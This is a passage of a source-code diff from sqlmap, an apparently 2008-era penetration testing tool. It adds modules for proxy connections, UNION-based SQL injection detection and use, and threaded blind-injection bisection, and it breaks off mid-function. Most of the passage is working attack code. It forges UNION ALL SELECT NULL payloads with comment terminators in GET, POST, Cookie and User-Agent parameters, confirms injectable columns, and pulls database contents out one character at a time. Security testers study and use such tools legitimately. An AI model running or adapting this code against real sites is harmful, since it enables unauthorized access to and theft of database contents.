infoMsg = "sqlmap is now going to retrieve the "
|
||||
infoMsg += "first %d query output entries" % stopLimit
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif test[0] in ("#", "s", "S"):
|
||||
message = "How many? "
|
||||
stopLimit = readInput(message, default="10")
|
||||
|
||||
if not stopLimit.isdigit():
|
||||
errMsg = "Invalid choice"
|
||||
logger.error(errMsg)
|
||||
|
||||
return None
|
||||
|
||||
else:
|
||||
stopLimit = int(stopLimit)
|
||||
|
||||
else:
|
||||
errMsg = "Invalid choice"
|
||||
logger.error(errMsg)
|
||||
|
||||
return None
|
||||
|
||||
elif ( not count or int(count) == 0 ):
|
||||
warnMsg = "the SQL query that you provided does "
|
||||
warnMsg += "not return any output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
|
||||
warnMsg = "the SQL query that you provided does "
|
||||
warnMsg += "not return any output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
limitedExpr = expression
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
limitStr = queries[kb.dbms].limit % (num, 1)
|
||||
limitedExpr += " %s" % limitStr
|
||||
|
||||
elif kb.dbms == "Oracle":
|
||||
limitStr = queries[kb.dbms].limit
|
||||
fromIndex = limitedExpr.index(" FROM ")
|
||||
untilFrom = limitedExpr[:fromIndex]
|
||||
fromFrom = limitedExpr[fromIndex+1:]
|
||||
limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
||||
limitedExpr = limitedExpr % fromFrom
|
||||
limitedExpr += "=%d" % (num + 1)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if re.search(" ORDER BY ", limitedExpr, re.I):
|
||||
untilOrderChar = limitedExpr.index(" ORDER BY ")
|
||||
limitedExpr = limitedExpr[:untilOrderChar]
|
||||
|
||||
limitStr = queries[kb.dbms].limit
|
||||
fromIndex = limitedExpr.index(" FROM ")
|
||||
untilFrom = limitedExpr[:fromIndex]
|
||||
fromFrom = limitedExpr[fromIndex+1:]
|
||||
limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
|
||||
limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
|
||||
limitedExpr += "NOT IN (%s" % (limitStr % num)
|
||||
limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
|
||||
|
||||
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload)
|
||||
outputs.append(output)
|
||||
|
||||
return outputs
|
||||
|
||||
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
|
||||
expression = "%s FROM DUAL" % expression
|
||||
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload)
|
||||
|
||||
returnValue = ", ".join([output for output in outputs])
|
||||
else:
|
||||
returnValue = __goInference(payload, expression)
|
||||
|
||||
return returnValue
|
||||
|
||||
|
||||
def __goInband(expression):
|
||||
"""
|
||||
Retrieve the output of a SQL query taking advantage of an inband SQL
|
||||
injection vulnerability on the affected parameter.
|
||||
"""
|
||||
|
||||
counter = None
|
||||
output = None
|
||||
partial = False
|
||||
data = []
|
||||
|
||||
condition = (
|
||||
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
||||
and expression in kb.resumedQueries[conf.url].keys()
|
||||
)
|
||||
|
||||
if condition:
|
||||
output = resume(expression, None)
|
||||
|
||||
if not output:
|
||||
partial = True
|
||||
|
||||
if not output:
|
||||
output = unionUse(expression)
|
||||
|
||||
fields = expression.split(",")
|
||||
counter = len(fields)
|
||||
|
||||
if output:
|
||||
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
|
||||
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
|
||||
|
||||
if outCond1 or outCond2:
|
||||
if outCond1:
|
||||
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
|
||||
elif outCond2:
|
||||
regExpr = '__START__(.*?)__STOP__'
|
||||
|
||||
output = re.findall(regExpr, output, re.S)
|
||||
|
||||
if conf.sessionFile and ( partial or not condition ):
|
||||
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
|
||||
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
|
||||
|
||||
output = set(output)
|
||||
|
||||
for entry in output:
|
||||
info = []
|
||||
|
||||
if "__DEL__" in entry:
|
||||
entry = entry.split("__DEL__")
|
||||
else:
|
||||
entry = entry.split(temp.delimiter)
|
||||
|
||||
if len(entry) == 1:
|
||||
data.append(entry[0])
|
||||
else:
|
||||
for value in entry:
|
||||
info.append(value)
|
||||
|
||||
data.append(info)
|
||||
else:
|
||||
data = output
|
||||
|
||||
if len(data) == 1 and isinstance(data[0], str):
|
||||
data = data[0]
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def getValue(expression, blind=True, inband=True, fromUser=False):
|
||||
"""
|
||||
Called each time sqlmap inject a SQL query on the SQL injection
|
||||
affected parameter. It can call a function to retrieve the output
|
||||
through inband SQL injection (if selected) and/or blind SQL injection
|
||||
(if selected).
|
||||
"""
|
||||
|
||||
expression = cleanQuery(expression)
|
||||
expression = expandAsteriskForColumns(expression)
|
||||
value = None
|
||||
|
||||
if inband and conf.unionUse and kb.dbms:
|
||||
value = __goInband(expression)
|
||||
|
||||
if blind and not value:
|
||||
value = __goInferenceProxy(expression, fromUser)
|
||||
|
||||
return value
|
128
lib/request/proxy.py
Normal file
128
lib/request/proxy.py
Normal file
|
@ -0,0 +1,128 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: proxy.py 322 2008-08-27 00:21:22Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import httplib
|
||||
import socket
|
||||
import urllib
|
||||
import urllib2
|
||||
|
||||
|
||||
class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||
_ports = {"http" : 80, "https" : 443}
|
||||
|
||||
def request(self, method, url, body=None, headers={}):
|
||||
# Request is called before connect, so can interpret url and get
|
||||
# real host/port to be used to make CONNECT request to proxy
|
||||
proto, rest = urllib.splittype(url)
|
||||
|
||||
if proto is None:
|
||||
raise ValueError, "unknown URL type: %s" % url
|
||||
|
||||
# Get host
|
||||
host, rest = urllib.splithost(rest)
|
||||
|
||||
# Try to get port
|
||||
host, port = urllib.splitport(host)
|
||||
|
||||
# If port is not defined try to get from proto
|
||||
if port is None:
|
||||
try:
|
||||
port = self._ports[proto]
|
||||
except KeyError:
|
||||
raise ValueError, "unknown protocol for: %s" % url
|
||||
|
||||
self._real_host = host
|
||||
self._real_port = int(port)
|
||||
|
||||
httplib.HTTPConnection.request(self, method, url, body, headers)
|
||||
|
||||
|
||||
def connect(self):
|
||||
httplib.HTTPConnection.connect(self)
|
||||
|
||||
# Send proxy CONNECT request
|
||||
self.send("CONNECT %s:%d HTTP/1.0\r\n\r\n" % (self._real_host, self._real_port))
|
||||
|
||||
# Expect a HTTP/1.0 200 Connection established
|
||||
response = self.response_class(self.sock, strict=self.strict, method=self._method)
|
||||
(version, code, message) = response._read_status()
|
||||
|
||||
# Probably here we can handle auth requests...
|
||||
if code != 200:
|
||||
# Proxy returned and error, abort connection, and raise exception
|
||||
self.close()
|
||||
|
||||
raise socket.error, "Proxy connection failed: %d %s" % (code, message.strip())
|
||||
|
||||
# Eat up header block from proxy
|
||||
while True:
|
||||
# Should not use directly fp probably
|
||||
line = response.fp.readline()
|
||||
|
||||
if line == "\r\n":
|
||||
break
|
||||
|
||||
|
||||
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||
default_port = 443
|
||||
|
||||
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None):
|
||||
ProxyHTTPConnection.__init__(self, host, port)
|
||||
self.key_file = key_file
|
||||
self.cert_file = cert_file
|
||||
|
||||
def connect(self):
|
||||
ProxyHTTPConnection.connect(self)
|
||||
|
||||
# Make the sock ssl-aware
|
||||
ssl = socket.ssl(self.sock, self.key_file, self.cert_file)
|
||||
self.sock = httplib.FakeSocket(self.sock, ssl)
|
||||
|
||||
|
||||
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
||||
def __init__(self, proxy=None, debuglevel=0):
|
||||
self.proxy = proxy
|
||||
|
||||
urllib2.HTTPHandler.__init__(self, debuglevel)
|
||||
|
||||
def do_open(self, http_class, req):
|
||||
if self.proxy is not None:
|
||||
req.set_proxy(self.proxy, "http")
|
||||
|
||||
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
|
||||
|
||||
|
||||
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
|
||||
def __init__(self, proxy=None, debuglevel=0):
|
||||
self.proxy = proxy
|
||||
|
||||
urllib2.HTTPSHandler.__init__(self, debuglevel)
|
||||
|
||||
def do_open(self, http_class, req):
|
||||
if self.proxy is not None:
|
||||
req.set_proxy(self.proxy, "https")
|
||||
|
||||
return urllib2.HTTPSHandler.do_open(self, ProxyHTTPSConnection, req)
|
25
lib/techniques/__init__.py
Normal file
25
lib/techniques/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
25
lib/techniques/inband/__init__.py
Normal file
25
lib/techniques/inband/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
25
lib/techniques/inband/union/__init__.py
Normal file
25
lib/techniques/inband/union/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
114
lib/techniques/inband/union/test.py
Normal file
114
lib/techniques/inband/union/test.py
Normal file
|
@ -0,0 +1,114 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: test.py 293 2008-07-28 21:56:52Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.session import setUnion
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def __effectiveUnionTest(query, comment):
|
||||
"""
|
||||
This method tests if the target url is affected by an inband
|
||||
SQL injection vulnerability. The test is done up to 50 columns
|
||||
on the target database table
|
||||
"""
|
||||
|
||||
resultDict = {}
|
||||
|
||||
for count in range(0, 50):
|
||||
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
|
||||
query = query[:-len(" FROM DUAL")]
|
||||
|
||||
if count:
|
||||
query += ", NULL"
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
query += " FROM DUAL"
|
||||
|
||||
commentedQuery = agent.postfixQuery(query, comment)
|
||||
payload = agent.payload(newValue=commentedQuery)
|
||||
newResult = Request.queryPage(payload)
|
||||
|
||||
if not newResult in resultDict.keys():
|
||||
resultDict[newResult] = (1, commentedQuery)
|
||||
else:
|
||||
resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)
|
||||
|
||||
if count:
|
||||
for element in resultDict.values():
|
||||
if element[0] == 1:
|
||||
if kb.injPlace == "GET":
|
||||
value = "%s?%s" % (conf.url, payload)
|
||||
elif kb.injPlace == "POST":
|
||||
value = "URL:\t'%s'" % conf.url
|
||||
value += "\nPOST:\t'%s'\n" % payload
|
||||
elif kb.injPlace == "Cookie":
|
||||
value = "URL:\t'%s'" % conf.url
|
||||
value += "\nCookie:\t'%s'\n" % payload
|
||||
elif kb.injPlace == "User-Agent":
|
||||
value = "URL:\t\t'%s'" % conf.url
|
||||
value += "\nUser-Agent:\t'%s'\n" % payload
|
||||
|
||||
return value
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def unionTest():
|
||||
"""
|
||||
This method tests if the target url is affected by an inband
|
||||
SQL injection vulnerability. The test is done up to 3*50 times
|
||||
"""
|
||||
|
||||
logMsg = "testing inband sql injection on parameter "
|
||||
logMsg += "'%s'" % kb.injParameter
|
||||
logger.info(logMsg)
|
||||
|
||||
value = ""
|
||||
|
||||
query = agent.prefixQuery("UNION ALL SELECT NULL")
|
||||
|
||||
for comment in ("--", "#", "/*", ";", "%00"):
|
||||
value = __effectiveUnionTest(query, comment)
|
||||
|
||||
if value:
|
||||
setUnion(comment, value.count("NULL"))
|
||||
|
||||
break
|
||||
|
||||
if kb.unionCount:
|
||||
logMsg = "the target url could be affected by an "
|
||||
logMsg += "inband sql injection vulnerability"
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
warnMsg = "the target url is not affected by an "
|
||||
warnMsg += "inband sql injection vulnerability"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return value
|
154
lib/techniques/inband/union/use.py
Normal file
154
lib/techniques/inband/union/use.py
Normal file
|
@ -0,0 +1,154 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: use.py 293 2008-07-28 21:56:52Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.session import setUnion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.parse.html import htmlParser
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
|
||||
|
||||
def __unionPosition(count, expression):
|
||||
logMsg = "confirming inband sql injection on parameter "
|
||||
logMsg += "'%s'" % kb.injParameter
|
||||
logger.info(logMsg)
|
||||
|
||||
# For each column of the table (# of NULL) perform a request using
|
||||
# the UNION ALL SELECT statement to test it the target url is
|
||||
# affected by an exploitable inband SQL injection vulnerability
|
||||
for exprPosition in range(0, kb.unionCount):
|
||||
# Prepare expression with delimiters
|
||||
randQuery = randomStr()
|
||||
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
|
||||
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
|
||||
|
||||
if len(randQueryUnescaped) > len(expression):
|
||||
blankCount = len(randQueryUnescaped) - len(expression)
|
||||
expression = (" " * blankCount) + expression
|
||||
elif len(randQueryUnescaped) < len(expression):
|
||||
blankCount = len(expression) - len(randQueryUnescaped)
|
||||
randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
|
||||
|
||||
# Forge the inband SQL injection request
|
||||
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
# Perform the request
|
||||
resultPage = Request.queryPage(payload, content=True)
|
||||
count += 1
|
||||
|
||||
# We have to assure that the randQuery value is not within the
|
||||
# HTML code of the result page because, for instance, it is there
|
||||
# when the query is wrong and the back-end DBMS is Microsoft SQL
|
||||
# server
|
||||
htmlParsed = htmlParser(resultPage, paths.ERRORS_XML)
|
||||
|
||||
if randQuery in resultPage and not htmlParsed:
|
||||
setUnion(position=exprPosition)
|
||||
|
||||
break
|
||||
|
||||
if isinstance(kb.unionPosition, int):
|
||||
logMsg = "the target url is affected by an exploitable "
|
||||
logMsg += "inband sql injection vulnerability"
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
warnMsg = "the target url is not affected by an exploitable "
|
||||
warnMsg += "inband sql injection vulnerability, sqlmap will "
|
||||
warnMsg += "retrieve the expression output through blind sql "
|
||||
warnMsg += "injection technique"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return count
|
||||
|
||||
|
||||
def unionUse(expression):
|
||||
"""
|
||||
This function tests for an inband SQL injection on the target
|
||||
url then call its subsidiary function to effectively perform an
|
||||
inband SQL injection on the affected url
|
||||
"""
|
||||
|
||||
count = 0
|
||||
origExpr = expression
|
||||
start = time.time()
|
||||
|
||||
if not kb.unionCount:
|
||||
unionTest()
|
||||
|
||||
if not kb.unionCount:
|
||||
return
|
||||
|
||||
# Prepare expression with delimiters
|
||||
expression = agent.concatQuery(expression)
|
||||
expression = unescaper.unescape(expression)
|
||||
|
||||
# Confirm the inband SQL injection and get the exact column
|
||||
# position only once
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
count = __unionPosition(count, expression)
|
||||
|
||||
# Assure that the above function found the exploitable inband
|
||||
# SQL injection position
|
||||
if not isinstance(kb.unionPosition, int):
|
||||
return
|
||||
|
||||
# Forge the inband SQL injection request
|
||||
query = agent.forgeInbandQuery(expression)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
logMsg = "query: %s" % query
|
||||
logger.info(logMsg)
|
||||
|
||||
# Perform the request
|
||||
resultPage = Request.queryPage(payload, content=True)
|
||||
count += 1
|
||||
|
||||
if temp.start not in resultPage or temp.stop not in resultPage:
|
||||
return
|
||||
|
||||
duration = int(time.time() - start)
|
||||
|
||||
logMsg = "performed %d queries in %d seconds" % (count, duration)
|
||||
logger.info(logMsg)
|
||||
|
||||
# Parse the returned page to get the exact inband
|
||||
# sql injection output
|
||||
startPosition = resultPage.index(temp.start)
|
||||
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
|
||||
value = str(resultPage[startPosition:endPosition])
|
||||
|
||||
return value
|
25
lib/techniques/inference/__init__.py
Normal file
25
lib/techniques/inference/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
213
lib/techniques/inference/blind.py
Normal file
213
lib/techniques/inference/blind.py
Normal file
|
@ -0,0 +1,213 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: blind.py 355M 2008-10-15 00:00:47Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import threading
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import replaceNewlineTabs
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapValueException
|
||||
from lib.core.progress import ProgressBar
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def bisection(payload, expression, length=None):
|
||||
"""
|
||||
Bisection algorithm that can be used to perform blind SQL injection
|
||||
on an affected host
|
||||
"""
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, fieldToCast = agent.getFields(expression)
|
||||
nulledCastedField = agent.nullAndCastField(fieldToCast)
|
||||
expressionReplaced = expression.replace(fieldToCast, nulledCastedField, 1)
|
||||
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
||||
else:
|
||||
expressionUnescaped = unescaper.unescape(expression)
|
||||
|
||||
infoMsg = "query: %s" % expressionUnescaped
|
||||
logger.info(infoMsg)
|
||||
|
||||
if length and not isinstance(length, int) and length.isdigit():
|
||||
length = int(length)
|
||||
|
||||
if length == 0:
|
||||
return 0, ""
|
||||
|
||||
showEta = conf.eta and length
|
||||
numThreads = min(conf.threads, length)
|
||||
threads = []
|
||||
|
||||
if showEta:
|
||||
progress = ProgressBar(maxValue=length)
|
||||
progressTime = []
|
||||
|
||||
if conf.verbose in ( 1, 2 ) and not showEta:
|
||||
if isinstance(length, int) and conf.threads > 1:
|
||||
infoMsg = "starting %d threads" % numThreads
|
||||
logger.info(infoMsg)
|
||||
|
||||
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * length))
|
||||
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
|
||||
else:
|
||||
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
||||
|
||||
queriesCount = [0] # As list to deal with nested scoping rules
|
||||
|
||||
|
||||
def getChar(idx):
|
||||
maxValue = 127
|
||||
minValue = 0
|
||||
|
||||
while (maxValue - minValue) != 1:
|
||||
queriesCount[0] += 1
|
||||
limit = ((maxValue + minValue) / 2)
|
||||
|
||||
forgedPayload = payload % (expressionUnescaped, idx, limit)
|
||||
result = Request.queryPage(forgedPayload)
|
||||
|
||||
if result == kb.defaultResult:
|
||||
minValue = limit
|
||||
else:
|
||||
maxValue = limit
|
||||
|
||||
if (maxValue - minValue) == 1:
|
||||
if maxValue == 1:
|
||||
return None
|
||||
else:
|
||||
return chr(minValue + 1)
|
||||
|
||||
|
||||
def etaProgressUpdate(charTime, index):
|
||||
if len(progressTime) <= ( (length * 3) / 100 ):
|
||||
eta = 0
|
||||
else:
|
||||
midTime = sum(progressTime) / len(progressTime)
|
||||
midTimeWithLatest = (midTime + charTime) / 2
|
||||
eta = midTimeWithLatest * (length - index) / conf.threads
|
||||
|
||||
progressTime.append(charTime)
|
||||
progress.update(index)
|
||||
progress.draw(eta)
|
||||
|
||||
|
||||
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
||||
value = [None] * length
|
||||
index = [0] # As list for python nested function scoping
|
||||
idxlock = threading.Lock()
|
||||
iolock = threading.Lock()
|
||||
|
||||
|
||||
def downloadThread():
|
||||
while True:
|
||||
idxlock.acquire()
|
||||
|
||||
if index[0] >= length:
|
||||
idxlock.release()
|
||||
|
||||
return
|
||||
|
||||
index[0] += 1
|
||||
curidx = index[0]
|
||||
idxlock.release()
|
||||
|
||||
charStart = time.time()
|
||||
val = getChar(curidx)
|
||||
|
||||
if val == None:
|
||||
raise sqlmapValueException, "Failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||
|
||||
value[curidx-1] = val
|
||||
|
||||
if showEta:
|
||||
etaProgressUpdate(time.time() - charStart, index[0])
|
||||
elif conf.verbose in ( 1, 2 ):
|
||||
s = "".join([c or "_" for c in value])
|
||||
iolock.acquire()
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
||||
iolock.release()
|
||||
|
||||
# Start the threads
|
||||
for _ in range(numThreads):
|
||||
thread = threading.Thread(target=downloadThread)
|
||||
thread.start()
|
||||
threads.append(thread)
|
||||
|
||||
# And wait for them to all finish
|
||||
for thread in threads:
|
||||
thread.join()
|
||||
|
||||
assert None not in value
|
||||
|
||||
value = "".join(value)
|
||||
|
||||
assert index[0] == length
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile(replaceNewlineTabs(value))
|
||||
|
||||
if conf.verbose in ( 1, 2 ) and not showEta:
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), value))
|
||||
|
||||
else:
|
||||
